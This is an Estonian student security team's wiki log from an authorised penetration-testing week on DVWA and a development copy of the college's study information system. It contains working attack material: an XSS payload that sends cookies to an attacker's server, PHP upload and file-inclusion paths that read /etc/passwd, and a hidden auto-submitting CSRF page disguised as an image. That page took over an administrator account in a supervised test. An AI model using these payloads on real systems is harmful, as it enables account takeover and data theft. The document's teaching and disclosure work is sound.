Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Matise esitlus [[Meida:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Meida:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:44:34Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Matise esitlus [[Meida: Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Meida: Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
